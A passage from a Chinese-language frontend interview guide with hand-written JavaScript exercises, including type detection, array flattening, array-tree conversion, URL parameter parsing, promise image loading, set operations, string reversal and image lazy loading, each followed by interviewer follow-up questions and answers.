    同步调用 next() 时,链式的 sleep、eat 还没有把任务加入 tasks,队列会被当成空队列处理。构造阶段应通过 setTimeout 延后启动,让当前同步调用栈先完成任务注册;代价是首次执行至少进入下一个事件循环时机。

  • 活动页要把埋点、动画和等待动作统一串成链式 API,你怎样保证 eat() 执行完才轮到 sleep(),同时调用方还能继续链式注册?

    每个方法只创建任务并压入 tasks,不在注册时执行;同步任务结束后调用 next(),异步任务则在 setTimeout 回调结束时调用。方法返回 this 维持链式调用,但任一任务漏调或重复调用 next() 都会造成队列停滞或乱序。

  • 产品把 sleep(5) 改成支持运行期间继续追加任务,例如睡眠尚未结束时又调用 me.eat('葡萄'),现有队列是否还能保持顺序?

    追加的任务仍会进入同一个 tasks 队尾,而睡眠任务只有计时结束后才调用 next(),因此后加的 eat 会在既有任务之后执行。若要求插队、取消或优先级,就不能只靠普通数组,需要明确调度规则并扩展任务状态。

  • 线上控制台打印“开始睡觉”后永久没有后续日志,你会沿着哪些代码路径定位,而不是先怀疑 setTimeout 不工作?

    先确认 seconds 是否为有限非负数,再检查计时回调是否抛错、实例是否仍共用同一队列,以及任务内部是否确实调用了 this.next()。还要为任务执行加异常捕获和状态日志;当前实现没有错误传播机制,某个任务抛异常就可能直接中断调度链。

  • 团队争论要用回调队列还是把每个动作改成 Promise 链;需求只有顺序执行、等待和控制台输出时,你会选哪种?

    题目范围内使用 tasks、next() 和 setTimeout 更直接,也能清楚展示延迟执行与队列调度原理。若后续需要错误传播、等待整条链完成或组合外部异步操作,Promise 更便于管理;改造时仍需定义取消、超时和追加任务的语义。

# 手写一个getType函数,获取详细的数据类型

⚡ 30 秒速记

  • 手写一个getType函数,传入任意变量,可准确获取类型

可以基于 Object.prototype.toString.call(x) 实现更准确的 getType。 它返回类似 [object String] 的结果,截取空格后的类型名并转成小写,就能得到 string、array 或 map。相比只看 typeof,这种方式还能区分 null、数组、日期和正则等类型。它同样适用于 set、weakmap、error 和 promise 等内置对象。

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • 如number、string、boolean等值类型
    • 引用类型object、array、map、regexp
/**
 * 获取详细的数据类型
 * @param x x
 */
function getType(x) {
  const originType = Object.prototype.toString.call(x) // '[object String]'
  const spaceIndex = originType.indexOf(' ')
  const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
  return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise

💬 面试官追问

  • 表单调试页里 typeof null 得到 object,typeof [] 也得到 object,产品却要求分别展示 null 和 array,你会怎样改类型判断?

    应调用 Object.prototype.toString.call(x),再从 [object Type] 中提取 Type 并转为小写,因此两者分别得到 null 和 array。直接依赖 typeof 无法细分这些引用类型,但它仍适合快速识别多数基本类型和函数。

  • 低代码平台要为 Date、RegExp、Map、Set 选择不同编辑器,为什么不能写成 x.toString(),而要借用 Object.prototype.toString?

    实例自身的 toString 可能被覆盖、缺失或表现为业务字符串,不能稳定承担类型分派。使用 Object.prototype.toString.call(x) 能让 null、undefined 和常见内建对象走统一路径;若对象刻意定制类型标签,结果仍需谨慎看待。

  • 接口校验器原先只区分 object 和 array,现在新增 WeakMap、Promise 与 Error,现有 getType 需要堆叠大量分支吗?

    不需要为这些常见内建类型逐个增加条件,提取 [object WeakMap]、[object Promise]、[object Error] 中的名称即可得到小写结果。调用方仍应基于允许列表做校验,不能因为标签可识别就推断对象内容、状态或业务合法性。

  • 线上监控偶尔把业务对象识别成意外名称,导致组件路由错误,你会怎样确认是 getType 解析错误还是输入对象影响了类型标签?

    先记录原始的 Object.prototype.toString.call(x) 结果,并用 null、数组及各类内建对象建立对照测试,再检查异常对象的原型和类型标签相关属性。解析逻辑只有查空格、截取和转小写,若原始标签已异常,修补字符串切片只会掩盖输入侧问题。

  • 数据层需要判断某值能否迭代,架构师提议统一调用 getType(x) === 'array',你会接受这个选型吗?

    不会,因为“可迭代”与“具体类型是数组”不是同一约束,Map、Set 等也可能满足迭代需求。getType 适合展示或按内建类别分派;能力判断应检查目标协议或所需方法,否则新增类型时会持续修改白名单。

# 手写一个JS函数,实现数组扁平化Array Flatten

⚡ 30 秒速记

  • 写一个JS函数,实现数组扁平化,只减少一次嵌套

只扁平化一层时,我会遍历原数组,把普通元素直接放进结果数组,把子数组中的元素逐个追加进去。 用push实现最直观,也可以借助concat合并,因为这里的目标只是减少一层嵌套。比如[1,[2,[3]],4]处理后是[1,2,[3],4],更深的数组不会继续展开。若要求完全扁平化,就在遇到数组时递归处理,直到元素都不再是数组。

  • 写一个JS函数,实现数组扁平化,只减少一次嵌套
  • 如输入[1,[2,[3]],4] 输出[1,2,[3],4]

思路

  • 定义空数组arr=[] 遍历当前数组
  • 如果item非数组,则累加到arr
  • 如果item是数组,则遍历之后累加到arr
/**
 * 数组扁平化,使用 push
 * @param arr arr
 */
function flatten1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      item.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组扁平化,使用 concat
 * @param arr arr
 */
function flatten2(arr) {
  let res = []

  arr.forEach(item => {
    res = res.concat(item)
  })

  return res
}
// 功能测试
const arr = [1, [2, [3], 4], 5]
console.info(flatten2(arr))

连环问:手写一个JS函数,实现数组深度扁平化

  • 如输入[1, [2, [3]], 4] 输出[1,2,3,4]

思路

  • 先实现一级扁平化,然后递归调用,直到全部扁平化
/**
 * 数组深度扁平化,使用 push
 * @param arr arr
 */
function flattenDeep1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep1(item) // 递归
      flatItem.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组深度扁平化,使用 concat
 * @param arr arr
 */
function flattenDeep2(arr) {
  let res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep2(item) // 递归
      res = res.concat(flatItem)
    } else {
      res = res.concat(item)
    }
  })

  return res
}
// 功能测试
const arr = [1, [2, [3, ['a', [true], 'b'], 4], 5], 6]
console.info( flattenDeep2(arr) )

💬 面试官追问

  • 商品规格数据是 [1,[2,[3]],4],页面只要求减少一层嵌套;同事递归后返回 [1,2,3,4],为什么这反而不符合需求?

    一级扁平化只展开当前数组中的直接子数组,正确结果应是 [1,2,[3],4],内层 [3] 必须保留。递归实现改变了数据层级语义,可能让依赖分组结构的渲染逻辑失效;是否深度展开必须由接口契约明确。

  • 列表组件接收几万项且只展开一层,你会怎样用 push 实现,并保证不修改调用方传入的原数组?

    创建新的结果数组,遍历输入;遇到数组时再遍历其元素并逐个 push,否则直接 push 当前项。该过程不会改写输入数组,时间随输出元素数量增长;结果中的对象仍与原数组共享引用,并非深拷贝。

  • 日志平台把需求从一级扁平化改成任意深度,嵌套层数又可能非常深,直接使用 flattenDeep1 递归有什么风险?

    递归版本会持续展开数组直至元素不再是数组,语义上能得到完全扁平结果,但调用栈深度也随嵌套增长。若输入深度不可控,应改用显式栈的迭代方案;还要约定顺序保持方式,否则压栈顺序不当会反转输出。

  • 线上返回结果少了数组中的空位,测试发现输入是稀疏数组,你会先检查 forEach、concat 还是后端数据?

    先构造带空位的最小样例,对比当前 forEach 实现与选定的原生行为,因为 forEach 会跳过未赋值的索引。还要区分空位与显式 undefined;若业务要求保留索引结构,当前逐项遍历方案就需要调整,而不能把缺项直接归因于后端。

  • 代码评审中一方主张 res = res.concat(item) 更短,另一方坚持嵌套循环 push,在大数组页面里你如何取舍?

    两者都能完成一级扁平化,但循环中反复把 res 重新赋为 concat 的新数组,会产生更多中间数组和复制。push 版本语义更明确,也便于控制元素追加;若优先可读性并且数据量受控,concat 仍可接受,但要用测试确认稀疏项等边界。

# 把一个数组转换为树

⚡ 30 秒速记

  • 每个元素生成TreeNode

把数组转成树时,可以为每项创建树节点,并用Map保存id到节点的映射,再把节点挂到父节点的children中。 这样查找父节点不必反复遍历整个数组,父子关系也更容易维护。parentId为0的节点作为根节点,其余节点通过parentId找到对应父节点。这个写法依赖父节点先于子节点出现;反向转换时可用队列做广度优先遍历,并记录节点与父节点的映射来还原parentId。

const arr = [
  {id:1, name: '部门A', parentId: 0},
  {id:2, name: '部门B', parentId: 1},
  {id:3, name: '部门C', parentId: 1},
  {id:4, name: '部门D', parentId: 2},
  {id:5, name: '部门E', parentId: 2},
  {id:6, name: '部门F', parentId: 3},
]

树节点

interface ITreeNode {
  id:number
  name: string
  children?: ITreeNode[] // 子节点
}

思路

  • 遍历数组
  • 每个元素生成TreeNode
  • 找到parentNode,并加入它的children
    • 如何找到parentNode
      • 遍历数组去查找太慢
      • 可用一个Map来维护关系,便于查找
/**
 * @description array to tree
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function arr2tree(arr) {
  // 用于 id 和 treeNode 的映射
  const idToTreeNode = new Map()

  let root = null // 返回一棵树 tree rootNode

  arr.forEach(item => {
    const { id, name, parentId } = item

    // 定义 tree node 并加入 map
    const treeNode = { id, name }
    idToTreeNode.set(id, treeNode)

    // 找到 parentNode 并加入到它的 children
    const parentNode = idToTreeNode.get(parentId)
    if (parentNode) {
      if (parentNode.children == null){
        parentNode.children = []
      }
      parentNode.children.push(treeNode) // 把treeNode加入到parentNode下
    }

    // 找到根节点
    if (parentId === 0) {
      root = treeNode
    }
  })

  return root
}

const arr = [
  { id: 1, name: '部门A', parentId: 0 }, // 0 代表顶级节点,无父节点
  { id: 2, name: '部门B', parentId: 1 },
  { id: 3, name: '部门C', parentId: 1 },
  { id: 4, name: '部门D', parentId: 2 },
  { id: 5, name: '部门E', parentId: 2 },
  { id: 6, name: '部门F', parentId: 3 },
]
const tree = arr2tree(arr)
console.info(tree)

连环问:把一个树转换为数组

  • 思路
    • 遍历树节点(广度优先:一层层去遍历,结果是ABCDEF)而深度优先是(ABDECF)
    • 将树节点转为Array Item,push到数组中
    • 根据父子关系,找到Array Item的parentId
      • 如何找到parentId
        • 遍历树查找太慢
        • 可用一个Map来维护关系,便于查找
/**
 * @description tree to arr
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function tree2arr(root) {
  // Map
  const nodeToParent = new Map() // 映射当前节点和父节点关系

  const arr = []

  // 广度优先遍历,queue
  const queue = []
  queue.unshift(root) // 根节点 入队

  while (queue.length > 0) {
    const curNode = queue.pop() // 出队
    if (curNode == null) break

    const { id, name, children = [] } = curNode

    // 创建数组 item 并 push
    const parentNode = nodeToParent.get(curNode)
    const parentId = parentNode?.id || 0
    const item = { id, name, parentId }
    arr.push(item)

    // 子节点入队
    children.forEach(child => {
      // 映射 parent
      nodeToParent.set(child, curNode)
      // 入队
      queue.unshift(child)
    })
  }

  return arr
}

const obj = {
  id: 1,
  name: '部门A',
  children: [
    {
      id: 2,
      name: '部门B',
      children: [
        { id: 4, name: '部门D' },
        { id: 5, name: '部门E' }
      ]
    },
    {
      id: 3,
      name: '部门C',
      children: [
        { id: 6, name: '部门F' }
      ]
    }
  ]
}
const arr = tree2arr(obj)
console.info(arr)

💬 面试官追问

  • 组织架构接口把子部门排在父部门前面,例如 id: 4 先于 id: 2 返回,页面使用当前单次遍历实现后节点丢失,根因是什么?

    当前实现处理子节点时只从 Map 查找已经创建的父节点,父项尚未遍历到就无法建立连接,之后也不会补挂。应先遍历一次创建全部节点并写入 Map,再遍历一次连接父子关系;代价是额外保存节点映射。

  • 后台一次加载数十万条部门记录,你怎样避免为每个节点再次扫描整个数组寻找父节点?

    用 Map 建立 id 到树节点的映射,再按 parentId 以近似常数时间找到父节点并追加到 children,整体处理随记录数线性增长。仍需承担节点、子数组和映射的线性空间,内存不足时要考虑分页或改变数据交付方式。

  • 业务从“只有一个 parentId === 0 的根”改成多组织森林,原函数的 root 返回值为什么会悄悄丢数据?

    单个 root 变量会被后遇到的顶级节点覆盖,因此只能返回最后一个根。应改为维护 roots 数组,把所有顶级节点加入其中;调用方接口也必须同步从单棵树改为森林,否则只是内部保留数据仍无法交付。

  • 权限树线上出现重复节点和页面死循环,接口里可能有重复 id、不存在的 parentId 或环,你会怎样排查?

    先在建表阶段检测重复 id,再把找不到父节点的记录归入异常集合,而不是静默丢弃;连接时还要检查自指和祖先环。普通 Map 会让重复键覆盖旧节点,且示例实现没有环检测,这些脏数据必须由明确策略拒绝或隔离。

  • 树转数组用于导出时,产品要求同层优先输出,而开发递归得到 ABDECF,你会怎样调整遍历方案?

    应使用队列做广度优先遍历,先输出当前节点,再按原顺序把子节点入队,因此示例得到 ABCDEF。同时维护节点到父节点的 Map 以生成 parentId;队列会占用一层节点规模的额外空间,而深度优先的输出顺序不满足该导出约束。

# 获取当前页面URL参数

⚡ 30 秒速记

  • 将URL参数解析为JSON对象

获取当前页面的URL参数,优先用URLSearchParams读取location.search,通过get取得指定参数。 相比正则匹配,它的代码更短,也不用自己处理查询字符串的分隔过程。若要转换为对象,可以遍历URLSearchParams,把每个key和value写入结果对象。传统方案也能先去掉开头的?,再按&和=拆分,但需要自己维护解析逻辑。

// 传统方式
function query(name) {
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的? 类似 array.slice(1)
  const reg = new RegExp(`(^|&)${name}=([^&]*)(&|$)`, 'i')
  const res = search.match(reg)
  if (res === null) {
    return null
  }
  return res[2]
}
query('a') // 10
// 使用URLSearchParams方式
function query(name) {
  const search = location.search
  const p = new URLSearchParams(search)
  return p.get(name)
}
console.log( query('b') ) // 20

将URL参数解析为JSON对象

// 传统方式,分析search
function queryToObj() {
  const res = {}
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的?
  search.split('&').forEach(paramStr=>{
    const arr = paramStr.split('=')
    const key = arr[0]
    const val = arr[1]
    res[key] = val
  })
  return res
}
// 使用URLSearchParams方式
function queryToObj() {
  const res = {}
  const pList = new URLSearchParams(location.search)
  pList.forEach((val,key)=>{
    res[key] = val
  })
  return res
}

💬 面试官追问

  • 搜索页地址是 ?keyword=a%20b&tag=前端,旧正则函数直接返回匹配片段,输入框为什么可能显示编码后的字符串?

    正则方案取出的 res[2] 只是查询串中的原始片段,没有主动完成解码,因此可能保留 %20 等编码。优先使用 URLSearchParams(location.search).get(name) 获取参数;若维护手写解析器,编码和解码规则必须单独处理,并防范非法编码输入。

  • 筛选页需要读取单个参数并在参数不存在时展示默认值,你会怎样区分“没有该参数”和“参数值为空”?

    使用 URLSearchParams.get(name) 时,不存在的键返回 null,而形如 ?q= 的参数得到空字符串,可据此选择不同默认策略。不要用简单的真假判断合并两者,否则用户主动提交空值可能被误判为未提供。

  • 电商列表支持 ?tag=js&tag=css 多选筛选,但 queryToObj() 最终只留下一个 tag,你会怎样修改数据结构?

    普通对象对重复键赋值会覆盖前值,因此不能表达多选参数。应基于 URLSearchParams 按键收集多个值,或在明确读取某键时取得其全部值,并把对象字段设计为数组;这会改变消费端类型,不能无兼容方案直接上线。

  • 线上某些分享链接带有值中包含 = 的参数,传统 paramStr.split('=') 后数据被截断,你会如何快速定位并修复?

    先保存脱敏后的 location.search 和解析结果,用最小链接复现,确认拆分确实把值内的 = 当成了分隔符。改用 URLSearchParams 可避免手工拆分错误;若必须手写,只能在首个分隔位置切开并补齐解码、空参数等规则,维护成本更高。

  • 兼容性评审中,一方坚持正则以减少 API 依赖,另一方要求统一 URLSearchParams;现代浏览器页面且需求包含对象化解析时你倾向哪边?

    在目标运行环境确认支持后,倾向使用 URLSearchParams,因为单值读取和遍历对象化都更清晰,也减少正则、切分与解码细节。若环境约束不能满足,则保留经过完整测试的兼容实现或补充适配层;选型边界应由实际支持范围决定。

# 手写Promise加载一张图片

⚡ 30 秒速记

  • 先说明“手写Promise加载一张图片”的核心结论,再结合正文示例解释实现与边界

可以把图片加载过程封装进Promise:创建img元素,加载成功时resolve(img),失败时reject(error)。 本质上是把onload和onerror这两个回调事件转换成可链式调用的异步结果,最后再设置img.src触发加载。调用方能在then中读取图片的width、height,也能继续返回另一个loadImg串行加载。任意一步失败都会进入catch,因此错误处理可以集中放在链尾。

function loadImg(src) {
  return new Promise(
    (resolve, reject) => {
      const img = document.createElement('img')
      img.onload = () => {
        resolve(img)
      }
      img.onerror = () => {
        const err = new Error(`图片加载失败 ${src}`)
        reject(err)
      }
      img.src = src
    }
  )
}
// 测试

const url = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
loadImg(url).then(img => {
  console.log(img.width)
  return img
}).then(img => {
  console.log(img.height)
}).catch(ex => console.error(ex))

const url1 = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
const url2 = 'https://s.poetries.top/images/20210414100319.png'

loadImg(url1).then(img1 => {
  console.log(img1.width)
  return img1 // 普通对象
}).then(img1 => {
  console.log(img1.height)
  return loadImg(url2) // promise 实例
}).then(img2 => {
  console.log(img2.width)
  return img2
}).then(img2 => {
  console.log(img2.height)
}).catch(ex => console.error(ex))

💬 面试官追问

  • 商品详情页调用 loadImg(url).then(img => img.width),有人认为只要创建了 Promise,即使图片地址错误也会进入成功回调;你会怎样用这段代码反驳他?

    图片能否加载决定 Promise 的最终状态,而不是创建 Promise 这个动作本身。onload 执行 resolve(img),onerror 则用包含 src 的 Error 执行 reject,错误会沿调用链传到末尾的 catch;未注册拒绝处理时还可能形成未处理拒绝。

  • 图片预览页连续加载几十个地址,产品要求每张图既能读取尺寸,又能把失败地址展示在列表里;你会怎样调整调用代码?

    保留 loadImg 返回图片元素的设计,成功后从 img.width、img.height 读取尺寸,失败时利用错误中的 src 标记对应条目。列表需要逐项保留成败结果时,不应让一次拒绝直接丢掉其余结果,可为单项补充成功和失败映射,或统一收集已落定状态;代价是调用层逻辑更复杂。

  • 瀑布流页面原来串行加载两张图,现在改成上百张且要求限制并发;loadImg 本身和调度层分别应该负责什么?

    loadImg 仍只封装单张图片的 onload、onerror 与状态转换,并发数量应由外层任务队列控制。调度层达到上限后等待某个加载任务落定再补充新任务,同时决定遇错后停止还是继续;已设置 src 的图片不会因某个 Promise 拒绝而自动取消。

  • 线上偶发出现图片已经显示,但等待 loadImg 的业务逻辑一直不执行;你会按什么顺序检查这段封装?

    先确认事件处理器是否在赋值 src 前绑定,再检查调用方是否改写了 img.onload、img.onerror,以及错误是否被中间链路吞掉。随后核对真实请求地址和浏览器加载结果,并在两个事件入口记录同一 src;若图片元素被外部复用或处理器被覆盖,封装就无法保证落定。

  • 页面切换后旧图片回调仍然写入新页面状态,前端负责人提出“给 Promise 加一个 cancel 方法”就能解决;你会怎么取舍?

    仅给 Promise 标记取消不能停止图片元素已经启动的底层加载,还必须让回调失效并阻止过期结果写回状态。可在卸载时清理事件处理器、记录任务版本或取消标记,必要时尝试移除图片的加载地址;浏览器是否已完成请求不可由普通 Promise 可靠逆转。

  • 第二段链式调用里既返回普通的 img1,又返回 loadImg(url2);代码评审时有人说两种返回值对下一个 then 没区别,你怎么解释?

    返回普通 img1 时,下一个 then 会直接接收到该对象;返回 loadImg(url2) 时,后续链会等待这个 Promise 落定后再继续。若第二张图加载失败,拒绝会跳过后续成功回调并进入末尾 catch,这正是串联依赖异步任务的关键差异。

# 两个数组求交集和并集

⚡ 30 秒速记

  • 先说明“两个数组求交集和并集”的核心结论,再结合正文示例解释实现与边界

两个数组的交集可以用一个 Set 辅助查找,并集则可以直接利用 Set 合并去重。 求交集时先把第二个数组转成 Set,遍历第一个数组并通过 has 判断是否存在,再用结果集合避免重复。求并集时以第一个数组初始化集合,再逐个加入第二个数组的元素,最后通过 Array.from 转回数组。这里得到的是去重后的集合结果,不会保留原数组中的重复项。

// 交集
function getIntersection(arr1, arr2) {
  const res = new Set()
  const set2 = new Set(arr2)
  for(let item of arr1) {
    if(set2.has(item)) { // 考虑性能:这里使用set的has比数组的includes快很多
      res.add(item) 
    }
  }
  return Array.from(res) // 转为数组返回
}

// 并集
function getUnion(arr1, arr2) {
  const res = new Set(arr1)
  for(let item of arr2) {
    res.add(item) // 利用set的去重功能
  }
  return Array.from(res) // 转为数组返回
}
// 测试

const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]
console.log('交集', getIntersection(arr1, arr2)) // 1,3,6
console.log('并集', getUnion(arr1, arr2)) // 1,3,4,6,7,2,5

💬 面试官追问

  • 权限页面计算两个数组的交集,输入是 [{id: 1}] 和 [{id: 1}],同事预计结果包含该对象;按当前 Set 实现实际会发生什么?

    当前实现不会把两个内容相同但引用不同的对象判为同一项,因为 Set.has 比较的是对象引用。若业务按 id 认定相等,应先提取 id 或建立 id 到对象的映射;直接改成深比较会增加实现复杂度,并需明确嵌套结构和循环引用边界。

  • 搜索页要对两个各含大量商品编号的数组求交集,评审中有人坚持在循环里用 arr2.includes(item);你会保留源码中的哪种实现,为什么?

    应先把第二个数组构造成 Set,再在遍历第一个数组时调用 has,避免对每个元素重复线性扫描整个数组。结果也使用 Set 去重,最后通过 Array.from 返回数组;代价是需要额外内存,输入规模很小时可读性比微小性能差异更值得优先考虑。

  • 库存对账从“出现过即可”改成“相同货号出现三次就要保留三次”,当前交集函数还能直接使用吗?

    不能直接使用,因为结果集合 res 会去重,当前语义是集合交集而不是保留重复次数的多重集合交集。应统计两边每个货号的出现次数,并按双方次数的较小值输出;这会增加计数存储,也必须先确定输出顺序依据哪一侧数组。

  • 线上合并标签后顺序异常:输入 arr1 为 [1,3,4,6,7]、arr2 为 [2,5,3,6,1],有人期待排序后的结果;当前并集为何输出 [1,3,4,6,7,2,5]?

    当前并集先用 arr1 初始化 Set,因此保留其首次出现顺序,再追加 arr2 中尚未出现的 2 和 5。去重并不等于排序,若页面要求数值升序,应在得到数组后显式排序;排序会改变原始业务顺序,字符串和数字混用时还要先定义比较规则。

  • 数据平台只要求两个编号数组去重合并,团队在 Set、双重循环和排序后归并之间争论;你会基于哪些约束选择?

    普通内存数组且需要保留首次出现顺序时,当前 Set 实现最直接,代码短且查重意图明确。若数据已排序、内存受限或不能一次性构造集合,才考虑双指针或流式方案;排序归并可能改动顺序,双重循环则会随着输入增长产生大量重复比较。

  • 筛选器交集里出现了 NaN、0、-0 和字符串 '1',测试同学质疑结果;你会怎样说明 Set 的判等边界并补测试?

    应围绕 Set 的实际判等补用例:NaN 能与 NaN 匹配,0 与 -0 视为同一值,而数字 1 与字符串 '1' 不相等。若业务希望类型归一化,应在求交并前显式转换并处理转换失败;隐式放宽比较会掩盖脏数据并造成编号碰撞。

# JS反转字符串

⚡ 30 秒速记

  • 实现字符串A1B2C3反转为3C2B1A

把字符串 A1B2C3 反转成 3C2B1A,最直接的写法是 str.split('').reverse().join('')。 如果想体现实现过程,也可以把字符依次压入栈,再利用后进先出的特点逐个弹出并拼接。示例里的 while 会持续执行到 stack.pop() 返回空值,因此更适合题目这种由非空字符组成的普通字符串。工程中只需要完成常规反转时,我一般会选内置方法,表达更清楚。

实现字符串A1B2C3反转为3C2B1A

// 方式1:str.split('').reverse().join('')

// 方式2:使用栈来实现
function reverseStr(str) {
  const stack = []
  for(let c of str) {
    stack.push(c) // 入栈
  }
  let newStr = ''
  let c = ''
  while(c = stack.pop()) { // 出栈 
    newStr += c // 出栈再拼接
  }
  return newStr
}

// 测试
console.log(reverseStr('A1B2C3')) // 3C2B1A

💬 面试官追问

  • 页面要求把 A1B2C3 显示成 3C2B1A,同事却写成 str.split('').join('').reverse(),运行时直接报错,你会怎么指出问题?

    join('') 之后得到的仍是字符串,而字符串没有 reverse() 方法,因此调用会报错。应按 str.split('').reverse().join('') 执行,把字符串转成数组后反转再拼回;这种写法会创建中间数组,输入很大时会增加内存开销。

  • 搜索结果页一次要反转上万条短编号,团队在一行写法和栈实现之间争论,你会怎样落地并验证?

    短编号且规则固定时,优先采用 split、reverse、join 的组合,代码更短,也更容易审查。上线前应覆盖空字符串、单字符和 A1B2C3 等边界用例;若输入规模持续增大,再结合实际测量评估中间数组和拼接成本。

  • 需求从反转英数字编号变成反转包含 emoji 的用户昵称,原来的 split('') 还能直接沿用吗?

    不能默认沿用,因为 split('') 按 UTF-16 代码单元拆分,某些 emoji 会被拆坏。可先用 Array.from(str) 或 [...str] 按 Unicode 码点反转;若产品要求组合 emoji 或附加符号保持为一个可见字符,还需采用字素簇分割,复杂度和兼容成本都会上升。

  • 线上反馈栈版偶尔返回结果不完整,代码核心是 while (c = stack.pop()),你会先改哪里并怎样排查?

    先把循环条件改成判断栈长度,例如 while (stack.length) newStr += stack.pop(),避免把弹出的内容兼作终止条件。随后记录并还原异常输入,核对是否包含特殊字符以及期望的反转单位;即使循环修正,按码点反转也不等于按可见字素反转。

  • 代码评审时,一方坚持用显式栈体现算法,另一方要求直接调用 reverse(),作为维护者你会选哪一个?

    普通业务代码会选 str.split('').reverse().join(''),意图直接且维护成本较低;教学或明确要求展示后进先出过程时,显式栈才更合适。两者都需要额外存储,栈版还包含逐字符入栈和字符串拼接,不能仅凭形式判断性能更优。

# 设计实现一个H5图片懒加载

⚡ 30 秒速记

  • 页面滚动时,图片露出,将data-src赋值给src

H5 图片懒加载可以先把真实地址放在 data-src,等图片进入可视区域后再赋给 src。 页面滚动时通过 getBoundingClientRect() 取得图片位置,当 rect.top < window.innerHeight 时就开始加载。加载完成后移除 data-src,后续查询便不会再处理这张图片,同时滚动监听要用 throttle 节流,避免频繁计算。页面初始化时还要主动执行一次,否则首屏内的图片需要等到滚动后才会加载。

  • 分析
    • 定义 <img src="loading.png" data-src="xx.png" />
    • 页面滚动时,图片露出,将data-src赋值给src
    • 滚动要节流
  • 获取图片定位
    • 元素的位置ele.getBoundingClientRect
    • 图片top > window.innerHeight没有露出,top < window.innerHeight露出
<!-- 图片拦截加载 -->
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
<script>
  function mapImagesAndTryLoad() {
    const images = document.querySelectorAll('img[data-src]')
    if (images.length === 0) return

    images.forEach(img => {
      const rect = img.getBoundingClientRect()
      if (rect.top < window.innerHeight) {
        // 可视区域内
        // console.info('loading img', img.dataset.src)
        img.src = img.dataset.src
        img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
      }
    })
  }

  // 滚动需要节流
  window.addEventListener('scroll', _.throttle(() => {
    mapImagesAndTryLoad()
  }, 100))

  // 初始化默认执行一次
  mapImagesAndTryLoad()
</script>

💬 面试官追问

  • 新闻 H5 首屏有十张图片,同事只监听 scroll,结果用户打开页面不滚动时首屏一直显示 loading.gif,缺了哪一步?

    注册滚动监听后还必须立即执行一次 mapImagesAndTryLoad(),让初始可视区域内的图片开始加载。判断可依据 getBoundingClientRect().top < window.innerHeight;若只依赖滚动事件,静止页面不会触发替换 data-src 的逻辑。

  • 瀑布流页面有几百张图片,每次滚动都查询全部节点并计算位置,你会如何按现有方案控制开销?

    滚动回调应通过 throttle 节流,例如每隔约定时间执行一次,避免每个滚动事件都遍历节点。查询只针对 img[data-src],加载后立即移除 data-src,后续扫描就会自然缩小;代价是节流间隔内图片可能稍晚出现。

  • 产品要求图片距离视口底部还有一段距离就预加载,而当前条件是 rect.top < window.innerHeight,你会怎样调整?

    可把判断改为 rect.top < window.innerHeight + preloadDistance,用明确的预加载距离换取更平滑的浏览体验。距离越大,请求越早,也越可能下载用户最终看不到的图片;该值应结合页面滚动方式和流量目标确定,不能无限放大。

  • 线上出现部分图片永远停在占位图,但滚动监听正常、data-src 也被移除了,你会沿着哪些状态排查?

    先检查元素进入视口时 data-src 是否正确赋给 src,再查看图片请求是否失败、路径是否错误。由于赋值后立即移除了 data-src,失败图片不会被后续扫描再次处理;若需要重试,应在加载失败时保留或恢复真实地址状态,并限制重试次数。

  • 长列表评审中,一方主张继续用 getBoundingClientRect() 加节流,另一方想改用观察式方案,你如何划定取舍边界?

    现有方案依赖少、执行路径清晰,图片数量有限且只需处理窗口滚动时可以保留,并通过移除 data-src 降低重复计算。若列表很长、滚动容器复杂或可见性判断频繁,观察式方案通常更便于管理;但迁移前仍需验证目标环境支持与降级策略。

  • 图片所在容器通过异步数据渲染,首次执行懒加载时节点还不存在,之后用户也没有滚动,为什么不会加载,怎么补?

    首次查询得到空集合后函数直接返回,而新插入的图片没有触发既有检查,所以即使位于首屏也仍是占位图。应在列表渲染完成后再次调用加载函数,或在数据更新入口统一触发扫描;触发过于频繁时仍需合并调用,避免重复布局计算。

# 手写Vue3基本响应式原理

⚡ 30 秒速记

  • 先说明“手写Vue3基本响应式原理”的核心结论,再结合正文示例解释实现与边界

